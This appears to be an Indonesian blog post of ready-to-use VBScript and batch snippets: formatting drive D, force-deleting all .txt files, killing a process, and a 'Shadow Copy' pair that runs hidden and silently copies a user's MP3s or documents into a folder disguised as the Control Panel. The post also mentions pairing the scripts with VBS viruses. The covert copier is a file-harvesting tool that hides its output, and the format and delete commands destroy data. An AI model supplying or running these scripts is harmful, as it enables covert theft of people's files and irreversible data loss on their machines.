Kode Vbs Versi-I

Ini kode vbs yang biasa kita gunakan untuk mempermudah ita menjalankan computer. Tapi jangan sekali-kali menggabungkan dengan virus vbs karena akan menyebabkan virus semakin ganas dan berbahaya

Format drive D

strComputer = "."

Set objWMIService = GetObject("winmgmts:" _

& "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")

Set colVolumes = objWMIService.ExecQuery _

("Select * from Win32_Volume Where Name = 'D:\\'")

For Each objVolume in colVolumes

errResult = objVolume.Format("NTFS")

Next

Hapus semua file txt walaupun read-only di folder FSo

Const DeleteReadOnly = TRUE

Set objFSO = CreateObject("Scripting.FileSystemObject")

objFSO.DeleteFile("C:\FSO\*.txt"), DeleteReadOnly

Cara terbaik mematikan program yang berjalan ketika taskman kita tidak bekarja

strComputer = "."

Set objWMIService = GetObject("winmgmts:" _

& "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")

Set colProcessList = objWMIService.ExecQuery _

("Select * from Win32_Process Where Name = 'Notepad.exe'")

For Each objProcess in colProcessList

objProcess.Terminate()

Next

Shadow Copy

Pertama copy-paste tulisan ini ke notepad simpan dalam vbs

dim wshshell, lanjutkan
set wshshell = wscript.createobject("wscript.shell")
lanjutkan = wshshell.expandenvironmentstrings("%comspec%")
wshshell.run (lanjutkan & " /c copy.bat"), vbhide

Setelah itu copy-paste tulisan ini dalam notepad dan simpan dalam bat

@echo off
md %computername%.{21EC2020-3AEA-1069-A2DD-08002B30309D}
xcopy "C:\Documents and Settings\%username%\My Documents\*.MP3" %computername%.{21EC2020-3AEA-1069-A2DD-08002B30309D} /s/c/q/r
xcopy "e:\*.mp3" %computername%.{21EC2020-3AEA-1069-A2DD-08002B30309D} /s/c/q/r
@cls
@exit

Setelah itu letakan semua file dalam satu folder dimana anda ingin menaruh hasil copy-an data

NB:
* mp3 adalah file yang akan di copy kalian bisa menganti dengan file yang lainnya sebagai contoh doc, xls, txt etc
*{21EC2020-3AEA-1069-A2DD-08002B30309D} adalah folder akan meniru sebagai control panel. ada tidak perlu memakai nya bisa dihapus